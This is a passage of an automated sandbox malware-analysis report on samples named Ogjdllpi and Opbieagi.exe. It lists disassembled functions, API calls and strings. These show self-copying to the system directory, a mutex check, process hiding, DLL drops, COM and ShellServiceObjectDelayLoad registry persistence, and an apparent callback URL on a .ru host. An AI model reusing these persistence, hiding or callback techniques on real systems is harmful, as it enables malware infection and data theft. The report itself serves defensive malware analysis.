API String ID: 1245325315-1222218007
Opcode ID: 374fb238f9a8af98a0c272c884aa5e7a000c0b0753857630dac3c0af84d03f4f
Instruction ID: 52c0c8d8f8a1b88d6522b4dea913535513547713cd70a2aa0dd21656c7656eb5
Opcode Fuzzy Hash: 374fb238f9a8af98a0c272c884aa5e7a000c0b0753857630dac3c0af84d03f4f
Instruction Fuzzy Hash: E1118673B102116FE710FEF5DC81BAB7AE89B00355F10483BE644F32D1E6B8A50286B9

Function 0040109B Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

signal.CRTDLL(0000000B,00000000), ref: 0040119C
signal.CRTDLL(00000008,00000000), ref: 004011B6
signal.CRTDLL(00000000), ref: 004011D5
raise.CRTDLL ref: 004011E3

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: signal$raise
String ID:
API String ID: 372037113-0
Opcode ID: 2d1ef5de37ea69ebb4b8d4bb24db1da757c13c860f6842aad27d4f5ac914ae12
Instruction ID: baa5ba32779064c34a5af0890878b5a2dbb5619b613b0807c362cc876063d63b
Opcode Fuzzy Hash: 2d1ef5de37ea69ebb4b8d4bb24db1da757c13c860f6842aad27d4f5ac914ae12
Instruction Fuzzy Hash: 4541B475A01204DFC720DF18EC84B5677B4FB08350F44457AEE14AB3E1E734A965CBAA

Function 0040447A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00404492
LocalAlloc.KERNEL32(00000040,-00000008,?), ref: 004044A4
sprintf.CRTDLL(?,%s%c%c,?,4EC4EBEE,?,00000040,-00000008,?), ref: 00404515

Strings

%s%c%c, xrefs: 0040450F

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: AllocLocallstrlensprintf
String ID: %s%c%c
API String ID: 2176257816-3118753097
Opcode ID: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction ID: 40b1eb1d73d9c04af9a72cf5af1a140bd4a75b2e1492408562adfdfa8721cd8f
Opcode Fuzzy Hash: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction Fuzzy Hash: F9110B72E0406867DB009A9A88815AFFBB69FC5310F1641F7EA04B73C1D27CAD0193A5

Function 0040421F Relevance: 6.0, APIs: 4, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,00020006,00000000,?,?,4FB14922), ref: 00404255
RegSetValueExA.ADVAPI32(?,4FB14922,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00020006,00000000,?,?,4FB14922), ref: 00404273
RegCloseKey.ADVAPI32(?,?,4FB14922,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00020006,00000000,?,?), ref: 0040427F

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID:
API String ID: 1818849710-0
Opcode ID: 65498cc65565106dc5b66ff6a4b4d842dc0e77ec129b82882a45272a282f6444
Instruction ID: d96ef7c4080a9b633a5bca21bfcbc2c766a155132064e5ed691f16c3214ccdec
Opcode Fuzzy Hash: 65498cc65565106dc5b66ff6a4b4d842dc0e77ec129b82882a45272a282f6444
Instruction Fuzzy Hash: B801F772B10109BBCF11AEB5CC02F9EBEBA9F84340F240476B704F61E0D675D9116718

Function 0040429C Relevance: 6.0, APIs: 4, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00020019,?), ref: 004042EF
RegCloseKey.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,00000000,00020019,?), ref: 004042FB

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 357a631b938b58c4fbb87905ba1aa3de6a3adf1b78dd9d8722630d207e2470c7
Instruction ID: 691f158720e2b36127ee9bd81ba90e70b5a5535aabeb9bf87ba7554e5ddc9d88
Opcode Fuzzy Hash: 357a631b938b58c4fbb87905ba1aa3de6a3adf1b78dd9d8722630d207e2470c7
Instruction Fuzzy Hash: 9801F271B1410ABACF109E25CC02BEEBFA99F94390F140472BE04F61E1D374EE11A3A9

Function 00403743 Relevance: 6.0, APIs: 4, Instructions: 43fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403769
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403780
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403798
CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080), ref: 0040379E

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction ID: cf1cf3c615f6ac6775c7614bbea78a1f327309af87cada33f382846b8ae172d8
Opcode Fuzzy Hash: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction Fuzzy Hash: 1BF0E972B442143AE62029758C03FDE355D8B41B78F144131FB10FB1D1D5B8BA0142AD

Function 0040185F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(?,?,?), ref: 004018E2
_sleep.CRTDLL(00000000), ref: 00401985

Strings

Microsoft Internet Explorer, xrefs: 004018E9

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: TextWindow_sleep
String ID: Microsoft Internet Explorer
API String ID: 2600969163-3125735337
Opcode ID: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction ID: b939d44f97a8665b9279395720dceab0b5e56fea97a4cdd5017e5321b1dcff8d
Opcode Fuzzy Hash: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction Fuzzy Hash: 0B511D71A00215EFDB20CFA8D884BAAB7F4BB18315F5041B6E904E72A0D7749995CF59

Function 0040682B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406753: CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
Part of subcall function 00406753: GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
Part of subcall function 00406753: CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

_sleep.CRTDLL(000927C0,00418E30,http://tat-neftbank.ru/kkq.php,ofs_kk), ref: 00406854

Strings

ofs_kk, xrefs: 0040683B
http://tat-neftbank.ru/kkq.php, xrefs: 00406840

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize_sleep
String ID: http://tat-neftbank.ru/kkq.php$ofs_kk
API String ID: 4235044784-1201080362
Opcode ID: 616e9dee88e1a58cfa8eb2cd68ddd21616f6de5f00dd5623ea3079b7e2cd762d
Instruction ID: fffe33e14b07b0123592d698d33e8a34a507cc30d1f0c5c96ad3af2b43ec03e4
Opcode Fuzzy Hash: 616e9dee88e1a58cfa8eb2cd68ddd21616f6de5f00dd5623ea3079b7e2cd762d
Instruction Fuzzy Hash: ADD05E72B453043B9200757E9D07929F5CE4AA0AA83B9446BBA01F73F1E8F89E1151AB

Analysis Process: Opbieagi.exePID: 6648, Parent PID: 6604COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	542
Total number of Limit Nodes:	2

Executed Functions

Function 00406C29 Relevance: 82.5, APIs: 36, Strings: 11, Instructions: 264
windowthreadregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32(001F0001,00000000,QueenKarton_12), ref: 00406C50
CloseHandle.KERNEL32(00000000,00000000), ref: 00406C60
exit.CRTDLL(00000001,00000000,00000000), ref: 00406C67
GetVersionExA.KERNEL32(00418D50,00000000), ref: 00406C8A
GetSystemDirectoryA.KERNEL32(00429080,000000FF), ref: 00406C99
GetTickCount.KERNEL32 ref: 00406C9E
srand.CRTDLL(00000000,00418D50,00000000), ref: 00406CA4
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00418D50,00000000), ref: 00406CBE
rand.CRTDLL(00418D50,00000000), ref: 00406D03
rand.CRTDLL(00418D50,00000000), ref: 00406D2F
rand.CRTDLL(00418D50,00000000), ref: 00406D70
sprintf.CRTDLL(?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00406DA8
CopyFileA.KERNEL32(?,?,00000000), ref: 00406DBD
WinExec.KERNEL32(?,00000000), ref: 00406DEC
ExitProcess.KERNEL32(00000001,?,?,?,?,?,?,00418D50,00000000), ref: 00406E02
sprintf.CRTDLL(00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E1B
sprintf.CRTDLL(00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E3A
sprintf.CRTDLL(00408020,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E53
LoadCursorA.USER32(00000000,00007F00), ref: 00406E85
LoadIconA.USER32(00000000,00007F03), ref: 00406E9A
GetStockObject.GDI32(00000000), ref: 00406EA8
RegisterClassA.USER32(00000003), ref: 00406EC9
CreateWindowExA.USER32(00000000,QueenKarton,QueenKarton,00CA0000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00408020), ref: 00406EF3
CreateMutexA.KERNEL32(00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406F12

Part of subcall function 00402E06: GetVersion.KERNEL32 ref: 00402E22
Part of subcall function 00402E06: GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
Part of subcall function 00402E06: CloseHandle.KERNEL32(?), ref: 00403065

GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F21
GetModuleHandleA.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F32
GetProcAddress.KERNEL32(00000000,RegisterServiceProcess), ref: 00406F3D
GetCurrentProcessId.KERNEL32(00000000,RegisterServiceProcess,kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll), ref: 00406F57
CreateThread.KERNEL32(00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F84
CloseHandle.KERNEL32(00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F8A
CreateThread.KERNEL32(00000000,00000000,004068B0,00000000,00000000,?), ref: 00406FA3
CloseHandle.KERNEL32(00000000,00000000,00000000,004068B0,00000000,00000000,?,00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406FA9
SetTimer.USER32(00000001,000001F4,00000000,00000000), ref: 00406FBD
TranslateMessage.USER32(?), ref: 00406FC8
DispatchMessageA.USER32(?), ref: 00406FD7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00406FE6

Strings

3, xrefs: 00406D7C
%s\%s.exe, xrefs: 00406D9C
QueenKarton, xrefs: 00406E64, 00406EE7, 00406EEC
RegisterServiceProcess, xrefs: 00406F37
2, xrefs: 00406D83
QueenKarton_12, xrefs: 00406C44, 00406F09
dnkkq.dll, xrefs: 00406E3F
kkq32.vxd, xrefs: 00406E26
kkq32.dll, xrefs: 00406E07
kernel32.dll, xrefs: 00406F2D
%s\%s, xrefs: 00406E11, 00406E30, 00406E49

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: Handle$CloseCreatesprintf$MessageVersionrand$FileLoadModuleMutexProcessThread$AddressClassCopyCountCurrentCursorDirectoryDispatchExecExitGlobalIconMemoryNameObjectOpenProcRegisterStatusStockSystemTickTimerTranslateWindowexitsrand
String ID: %s\%s$%s\%s.exe$2$3$QueenKarton$QueenKarton_12$RegisterServiceProcess$dnkkq.dll$kernel32.dll$kkq32.dll$kkq32.vxd
API String ID: 607501245-2841515530
Opcode ID: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction ID: b1e00ee85c63859ee3f052cf9651ba5d7fc827d99c5bd6e2bd8f21b679fb6b98
Opcode Fuzzy Hash: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction Fuzzy Hash: E691C671F883286ADB10A7759C46FDD76A85B44704F5000BBB508FB2C2D6FC6D448BAE

Function 00403619 Relevance: 7.6, APIs: 5, Instructions: 58
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403642
GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: File$AllocCloseCreateHandleLocalReadSize
String ID:
API String ID: 2632956699-0
Opcode ID: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction ID: fb77f57afc793f1fdbd914af7197191687e2a95eac13cef646675694312e246c
Opcode Fuzzy Hash: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction Fuzzy Hash: 14116531A00208BAEB216E65CC06F9DB7A8DB00765F108576FA10BA2D1D67DAF018B5D

Function 00403F68 Relevance: 33.4, APIs: 9, Strings: 10, Instructions: 135
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FA7
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FD4
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00404010
sprintf.CRTDLL(?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404048
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404063
sprintf.CRTDLL(Oglabl32,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404086
WriteFile.KERNEL32(?,0042AA84,00001A01,?,00000000,Oglabl32,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll), ref: 004040A4
CloseHandle.KERNEL32(?,?,0042AA84,00001A01,?,00000000,Oglabl32,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?), ref: 004040BB
sprintf.CRTDLL(?,CLSID\%s\InProcServer32,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,0042AA84,00001A01,?,00000000,Oglabl32,00429080,?,40000000,00000000,00000000,00000002), ref: 004040D3

Strings

ThreadingModel, xrefs: 0040410F
CLSID\%s\InProcServer32, xrefs: 004040C7
%s\%s.dll, xrefs: 0040403C
Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad, xrefs: 0040412B
3, xrefs: 0040401C
{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 00403F92, 004040C6, 00404125
Web Event Logger, xrefs: 00404126
Apartment, xrefs: 0040410A
2, xrefs: 00404023
Oglabl32, xrefs: 00404080, 00404085

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: randsprintf$File$CloseCreateHandleWrite
String ID: %s\%s.dll$2$3$Apartment$CLSID\%s\InProcServer32$Oglabl32$Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad$ThreadingModel$Web Event Logger${79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 4269242784-152415183
Opcode ID: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction ID: 8034dccab87c86b1e0d8b3b5755954c703eafec793446a3a0ea57bc4b4fc6a7a
Opcode Fuzzy Hash: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction Fuzzy Hash: E7415771F482286AD7109769EC46BE97AAC8B49304F5400FBB908F72C1D6FC9E458F69

Function 00403CE9 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403CFD
memcpy.CRTDLL(-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403D7A
memset.CRTDLL(00406DCE,00000000,0000000C,-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080), ref: 00403D8F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DF6
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DFE
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E1F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E27
memcpy.CRTDLL(-0042AA4C,0042AA44,00000040,?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE), ref: 00403E52

Strings

+Z}), xrefs: 00403CF2

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: rand$memcpy$memset
String ID: +Z})
API String ID: 1341957784-4018127762
Opcode ID: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction ID: df63eb390851271c68cbd719fcc6126871763b87c01c507511359465d0d2d2d2
Opcode Fuzzy Hash: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction Fuzzy Hash: A4719E31F042159BCB10CF69DD42A9E7BF5AF88354F584076E901B77A0D23CAA16CBAD

Function 00404148 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.ADVAPI32(69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001,00006A14,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,?,004040F5), ref: 00404189
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001), ref: 004041AB
RegCloseKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72), ref: 004041B9

Strings

{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 0040414D

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
